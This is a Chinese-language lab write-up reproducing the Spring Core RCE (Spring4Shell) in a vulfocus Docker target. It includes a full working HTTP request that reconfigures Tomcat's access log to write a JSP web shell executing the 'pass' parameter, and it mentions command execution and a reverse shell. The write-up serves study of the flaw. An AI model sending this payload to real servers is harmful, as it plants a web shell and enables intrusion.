Spring Core RCE 復現


0x01環境搭建

這幾天一直鬧的很火的Spring Core RCE漏洞,來復現記錄一下

JDK9及其以上版本;
使⽤了Springbeans包;
使⽤了Spring參數綁定;
Spring參數綁定使⽤的是⾮基本參數類型,例如般的POJO即可

 

Spring框架中的核心組件只有三個:Core、Context和Beans。它們構建起了整個Spring的骨骼架構

順帶一提Spring核心組件的一些關系,Bean來包裝Object,而 Context是Bean關系的集合,這個集合叫做Ioc(Inversion of Control)容器。

Core組件是發現、建立和維護每 個Bean之間的關系所需要的一些列的工具。

 

通過docker搭建環境,pull image鏡像下來

這里是vulfocus靶場下的鏡像

docker pull vulfocus/spring-core-rce-2022-03-29 

然后用docker run來啟動

 

 

 

跑起來后訪問

 

 

0x02漏洞利用

 

抓包后修改為POST請求,發送paylaod

 

 根據修改日志配置,來寫日志 上傳惡意jsp文件

 

 

為什么會把suffix 和prefix兩個參數寫在前面定義?

payload:

POST / HTTP/1.1
Host: 192.168.255.128:5468
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
DNT: 1
suffix: %>
prefix: <%Runtime
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 496

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22pass%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/root&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

 

 

因為如果直接利用pattern來寫一個完整的木馬命令執行

<%Runtime.getRuntime().exec(request.getParameter("pass"));%>

 

會發現寫進去的是

 

 

具體原因也不是很清楚,tomcat寫日志的東西

所以前面定義pattenprefix和suffix來拼接完整的jsp語句

%{prefix}i.getRuntime().exec(request.getParameter("pass"));%{suffix}i

 

下面的directory為目錄,應當是能解析jsp的web目錄,我這里試着用WEB-INF目錄,但是似乎好像不能解析

發現webapps/下的目錄可以解析jsp文件,所以寫該目錄下寫入一個root目錄來寫文件

 

可以把下面的步驟想成一步步去執行的

后面再次使用了suffixprefix定義,很明顯是定義為shell.jsp文件

 

發送payload后

 

 

執行一個curl命令

 

 

成功RCE

 

也可以反彈shell了

 

 

 

0x03總結

此次復現踩了很多坑,環境搭建原先想用idea,結果沒配出來環境,太菜了。這樣就沒法跟調用鏈子了

后面就用的docker來搭建,需要知道對應web目錄的位置才能去寫文件,不然解析不了。

復現的時候寫過一個文件了,去訪問該文件,會有相同的代碼再寫進去,因為是靠寫日志來寫入的。

如果想重新寫一個文件 我發現會無法再次寫入,因為是復現可以重啟docker就能再次寫了。

 

出現這種情況的原因是因為修改了tomcat寫日志的特殊配置,原本是置空的,然后被修改了(只能修改一次)

所以想重新寫另外一個文件就不行了,重啟后配置會被重新置空。

 

后續有了idea環境再來看看

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM